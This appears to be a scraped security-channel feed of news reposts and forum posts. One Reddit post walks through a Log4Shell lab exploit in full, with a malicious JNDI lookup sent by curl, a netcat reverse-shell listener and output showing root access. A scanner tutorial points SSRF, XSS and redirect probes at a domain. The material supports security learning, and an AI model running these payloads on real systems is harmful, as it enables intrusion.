hacking: security in practice
Hacking capture the flag

Hey all, I am trying to get a hacking capture the flag thing going in the bay area if anyone is interested? It's essentially capture the flag but with a file stored on a computer that you have to retrieve through hacking.

submitted by /u/onrop4life
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Google Issues Urgent Chrome Update to Patch Actively Exploited Zero-Day Vulnerability. CVE-2022-1096 is the second zero-day vulnerability addressed by Google in Chrome since the start of the year.

https://external-preview.redd.it/2U9J_1ec9Sb90d2vXaibCJi-8ZS1EnVsL97HBWLLWVU.jpg?width=640&crop=smart&auto=webp&s=a5785a74f798be2071b0dc339e82d02bf8c8847a submitted by /u/Late_Ice_9288
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Google Dork for instant bounties

Google dorks that’ll get you instant bounties, proven and tested multiple times.Continue reading on Medium »
Read more...

Google Dork for instant bounties
https://debprasadbanerjee502.medium.com/google-dork-for-instant-bounties-a332764fc3e2?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Google dorks that’ll get you instant bounties, proven and tested multiple times.Continue reading on Medium » (https://debprasadbanerjee502.medium.com/google-dork-for-instant-bounties-a332764fc3e2?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Revest Finance incident analysis

https://cdn-images-1.medium.com/max/820/1*bCepyjBfT9smvZEErFVf5g.png
The SlowMist security team conducted an analysis of the situation.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

How to find your first pentester freelance job
https://www.reddit.com/r/Pentesting/comments/tq2r5d/how_to_find_your_first_pentester_freelance_job/

Imgine the following profile: infosec certs (e.g. OSCP), good profile at THM and HTB, bachelor and master degrees in CS, many years in IT as a software engineer. I wonder how such a profile would start their career as a freelance pentester? Where to look for the first client? submitted by /u/andy-codes (https://www.reddit.com/user/andy-codes)
[link] (https://www.reddit.com/r/Pentesting/comments/tq2r5d/how_to_find_your_first_pentester_freelance_job/) [comments] (https://www.reddit.com/r/Pentesting/comments/tq2r5d/how_to_find_your_first_pentester_freelance_job/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Is code breaking related to hacking?

https://external-preview.redd.it/g9aR8PNneJLKO3IkltdsFW8ZOX77t-pcloSVZ2JPOVE.jpg?width=640&crop=smart&auto=webp&s=c479d2407bb83e6bcfc2d875f54802276e26135b submitted by /u/soliev
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

log4j shell poc with User-Agent payload
https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/

* Note: I found that log4j payload is not allowed to be written here in reddit, so I replace it with PAYLOADHERE keyword. In short, PAYLOADHERE = jndi:ldap If you want to see the full content, I've copied it to pastebin https://pastebin.com/Uge5Rk2H This lab has been created based on the following vulnerable docker image for log4j: https://github.com/kozmer/log4j-shell-poc (go ahead and try it to reproduce this issue) Lab setup Install vulnerable docker application on TARGET and run it TARGET$ git clone https://github.com/kozmer/log4j-shell-poc TARGET$ cd log4j-shell-poc TARGET$ docker build -t log4j-shell-poc . TARGET$ docker run --network host log4j-shell-poc Prepare POC on TESTER TESTER:~$ git clone https://github.com/kozmer/log4j-shell-poc TESTER:~$ cd log4j-shell-poc TESTER:~$ pip install -r requirements.txt TESTER:~/log4j-shell-poc$ python3 poc.py --userip TESTER --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: ${PAYLOADHERE://TESTER:1389/a} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Listening on 0.0.0.0:1389 Start a netcat listener to accept reverse shell connection TESTER:~$ nc -lvnp 9001 Use curl/browser to send data back to the TESTER-1 TESTER:~$ curl -d 'uname=${PAYLOADHERE://TESTER:1389/a}&password=' http://TARGET:8080/login Check netcat again TESTER:~$ nc -lvnp 9001 listening on [any] 9001 ... connect to [TESTER] from (UNKNOWN) [TARGET] 36422 id uid=0(root) gid=0(root) groups=0(root) hostname TARGET Test completed successfully. However, instead of sending data to login form, I've decided to try again using different entry point which is via User-Agent. This is my payload TESTER:~$ curl -H 'User-Agent: ${PAYLOADHERE://TESTER:1389/a}' http://TARGET:8080 .... However, I did not get any connection to my netcat listener via this way. What's wrong in this payload and how to fix it? submitted by /u/w0lfcat (https://www.reddit.com/user/w0lfcat)
[link] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/) [comments] (https://www.reddit.com/r/Pentesting/comments/tq3bff/log4j_shell_poc_with_useragent_payload/)

___________________________
@hacking_Attack
@Hacking_Video

One-liner Bug Bounty Tips

A collection of awesome one-liner scripts especially for bug bounty.Continue reading on Medium »
Read more...

One-liner Bug Bounty Tips
https://thenurhabib.medium.com/one-liner-bug-bounty-tips-fa386b756e16?source=rss------bug_bounty-5

A collection of awesome one-liner scripts especially for bug bounty.Continue reading on Medium » (https://thenurhabib.medium.com/one-liner-bug-bounty-tips-fa386b756e16?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
HTTP request smuggling bug patched in mitmproxy

HTTP request smuggling bug patched in mitmproxyPost Views: 3
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
Mitmproxy, an open source, interactive HTTPS proxy service, has patched a dangerous bug that potentially allowed attackers to stage HTTP request smuggling attacks against backend servers. HTTP request smuggling attacks exploit the inconsistencies between the way intermediary and backend servers process requests to bypass security controls, gain unauthorized access to sensitive data, or compromise other application users. An elusive bugZhang Zeyu, the security researcher who reported the bug, discovered that an attacker could smuggle a request/response through mitmproxy as part of another request/response’s HTTP message body.

“While the more obvious attack vectors (e.g., double Content-Length headers, using Content-Length over Transfer-Encoding) are rare nowadays, more subtle deviations from the standard leave certain setups equally vulnerable to request smuggling,” he told The Daily Swig.

In the case of mitmproxy, an issue with the parsing of whitespace in header names resulted in mitmproxy and a downstream server possibly having different interpretations of HTTP headers.

“Eliminating this type of vulnerability is very tricky as you need different HTTP implementations (proxy and target server) to agree on a common interpretation of HTTP messages,” Maximilian Hils, the maintainer of mitmproxy, told The Daily Swig.

Alternatively, you can make the proxy reject potentially malformed messages, but that would have the drawback of imposing compatibility problems with clients in the wild, Hils said.

“This is not a buffer overflow, which has an obvious fix. There are a lot of nuances here to make sure that intermediary and servers agree,” he said.
See Also: Complete Offensive Security and Ethical Hacking Course
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png HTTP/2 not affectedThe bug only works against HTTP/1 services behind mitmproxy, which currently accounts for a very small number of web servers.

HTTP/2, the more commonly used protocol, does not rely on the use of Content-Length and Transfer-Encoding headers to determine where a request body ends.

Instead, a built-in length field is included in each data frame, and when proxies communicate with backends using HTTP/2, there is little ambiguity on the length of each message. Therefore, this particular request smuggling bug would be ineffective against HTTP/2 services.

HTTP/1 services that follow the RFC7230 specification and reject headers with whitespace would also be immune against the request smuggling bug found in mitmproxy. The security bug would also be useless to attackers if the target web application is not vulnerable in some other way.

“From a practical point of view, I’d argue that the impact is non-existent for the vast majority of users,” Hils said. “There are a lot of not-so-common preconditions that need to be met. I’d say quite a few stars need to align for this to have an actual impact in the wild.”
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH Edge casesBut Zeyu warned that many backend servers still fail to support HTTP/2, including Gunicorn, which serves many Python-based applications. And in many cases, services that support HTTP/2 are not configured to use it between the frontend proxy and the backend servers simply because most clients would not notice the difference, according to Zeyu.

“This means that there are still a lot of web proxy and server configurations that speak HTTP/2 between the client and the proxy but HTTP/1.x between the prox[...]

___________________________
@hacking_Attack
@Hacking_Video

y and the backend, leaving room for HTTP request smuggling attacks to occur,” he said.

Irrespective of the debate about its seriousness, the bug has been patched in version 8.0 of mitmproxy. See Also: Offensive Security Tool: SysWhispers3 Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: portswigger.net Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again4 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta5 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/79ohvicqaKcVP9KT2mDdTH-90x90.jpg Most QNAP NAS Devices Affected by ‘Dirty Pipe’ Linux Flaw2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Lapsus-group-has-hacked-Ubisoft-as-well-90x90.jpg Ubisoft has confirmed it was hacked by Lapsus$ group2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/raccoon-stealer-90x90.jpg Raccoon Stealer Crawls Into Telegram2 weeks ago
The post HTTP request smuggling bug patched in mitmproxy first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
SSR Fire : An Automated SSRF Finder. Just Give The Domain Name And Your Server

SSR Fire is an automated SSRF finder. Just give the domain name and your server and chill! https://s.w.org/images/core/emoji/13.1.0/72x72/1f609.png It also has options to find XSS and open redirects. Syntax./ssrfire.sh -d domain.com -s yourserver.com -f custom_file.txt -c cookies

domain.com —> The domain for which you want to test

yourserver.com —> Your server which detects SSRF. Eg. Burp collaborator

custom_file.txt —> Optional argument. You give your own custom URLs instead of using gau

cookies —> Optional argument. To send requests as an authenticated user

If you don’t have burpsuite professional, you can use interact sh by the awesome projectdiscovery team as your server. RequirementsSince this uses GAU, FFUF, qsreplace and OpenRedirex, you need GO and python 3.7+. You need not have the tools installed, as the script setup.sh will install everything. You just need to install python and GO. Even if you have the tools installed I would highly recommend you to install them again so that there no conflicts while setting the paths.

If you don’t want to install the tools again, paste this code in your .profile in your home directory and source .profile them. Also, you have to make a small change in the ssrfire.sh on line 10, where you have to replace source /home/hari/.profile without your .profile path. (Only if you are not installing tools through setup.sh)

#Replace /path/to/ with the specific directory where the tool is installed
#If you already have configured paths for any of the tools, replace that code with the below one.
ffuf(){
echo “Usage: ffuf https://www.domain.com/FUZZ payloads.txt”
/path/to/ffuf/./main -u $1 -w $2 -b $3 -c -t 100
}
gau(){
echo “Usage: gau domain.com”
/path/to/gau/./main $1
}
gau_s(){
/path/to/gau/./main –subs $1
}
openredirex(){
echo “Usage: openredirex urls.txt payloads.txt”
python3 /path/to/OpenRedireX/openredirex.py -l $1 -p $2 –keyword FUZZ
}
qsreplace(){
/path/to/qsreplace/./main $1
}

Usage

chmod +x setup.sh
./setup.sh (preferably yes for all —> highly recommended)
./ssrfire.sh -d domain.com -s yourserver.com Finding SSRFNow, gau gets into action by fetching all the URLs of the domain. This may take a lot of time. You can check the output generated till now at output/domain.com/raw_urls.txt

Let it run for at least 10-15 minutes, and then if you want to continue, you can. But if you want to test the URLs fetched till now, quit the process. Copy the raw_urls.txt inside of output/domain.com and place it outside the domain.com folder Now run

./ssrfire.sh -d domain.com -s yourserver.com -f /path/to/copied_raw_urls.txt

Select yes when asked whether to delete the existing folder.

This will skip the process of GAU fetching URLs.

Now all the URLs with parameters will be filtered and yourserver.com will be placed into their parameter values.(final_urls.txt)

The next step is to fire requests to all the final URLs. Finding XSSWarning: This generates a lot of traffic. Do not use this against sites which you are not authorized to test

This tests all the URLs fetched, and based on how the input is reflected in the response, it adds that particular URL to the output/domain.com/xss-suspects.txt (This may contain false positives)

For further testing this, you can input this list to the XSS detection tools like XSStrike to find XSS. Finding open redirectsJust enter the path to a payload file or use the default payload. I personally prefer open redirex, as it is specifically designed to check for open redirects by loading the URLs from the list and it looks a lot cleaner, and doesn’t flood your terminal. Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Hybrid Test Framework : End To End Testing Of Web, API And Security

Hybrid Test Framework is a framework supports WebUi automation across a variety of browsers like Chrome, Firefox, IE, no only limited to this but extended to test rest api, security and visual testing.

Capabilities

* Cross browser testing support
* Added browserstack support for CrossBrowser testing
* Running tests in docker containers selenium grid
* Running tests in AWS DeviceFarm selenium grid
* Running tests in selenium server in docker containers
* Security testing using OWASP, running in docker container
* Api testing support using RestAssured
* Visual regression testing using percy.io
* Accessibility testing using axe-selenium
* Stubbed api testing using WireMock
* Can send logs to ElasticSearch for kibana dashboard visualization
* Database testing support
* Kafka testing support
* Kubernetes support

Setup & Tools

* Install intellij https://www.jetbrains.com/idea/download/
* Install docker desktop https://www.docker.com/products/docker-desktop
* Java JDK_11
https://adoptopenjdk.net/
* Gradle https://gradle.org/next-steps/?version=6.8.3&format=bin
* Allure https://github.com/allure-framework/allure2/archive/2.17.2.zip
* Set Environment variables
* JAVA_HOME: Pointing to the Java SDK folder\bin
* GRADLE_HOME: Pointing to Gradle directory\bin.
* ALLURE_HOME: Pointing to allure directory\bin.
Getting Started

$ git clone
$ cd
$ import project from intellij as a gradle project
$ gradle clean
$ gradle build
$ gradle task E2E
$ gradle allureReport
$ gradle allureServe

Write your first user journey

Create new class and name as the TC00*_E2E_TEST-***

* Provide jira link in @Link
* Provide all the api components as @Feature
* Provide test severity and description
* Write test
* Use CatchBlock in try/catch section

Spin-up chrome, firefox, selenium hub and OWASP proxy server

$ docker-compose up -d

Complete infrastructure creation for local run

$ $ docker-compose -f docker-compose-infra up -d

Spin-up four additional node-chrome/firefox instances linked to the hub

$ docker-compose scale chrome=5
$ docker-compose scale firefox=5

Spin-up kafka instances

$ docker-compose -f docker-compose-kafka.yml up
$ docker-compose -f docker-compose-kafka.yml down –rmi all

Spin-up selenium hub in kubernetes instance

$ kubectl apply -f selenium-k8s-deploy-svc.yaml
$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
$ kubectl proxy
$ kubectl describe secret -n kube-system | grep deployment -A 12
To delete deployments
$ kubectl delete deployment selenium-node-firefox
$ kubectl delete deployment selenium-node-chrome
$ kubectl delete deployment selenium-hub

navigate to http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiiOxUgyx23IqYS3FAfnWlpr5LPhHa9vAtaeSMK2-yUM9175cA9nfmRkqtR66uZ982XC8Dpcb9ljC08320Hxbd3abRtJXDrZqgGkhJZUlB8VgBBY2sMam7P0H-5Ws92XutkCTbPT6Lrdy8OpdJca3N7iaRRWozBM7d8aNmJW1Uo1JdkR7hGoHcmY5H/s1876/kubernetes.png

Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
One-liner Bug Bounty Tips

A collection of awesome one-liner scripts especially for bug bounty.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video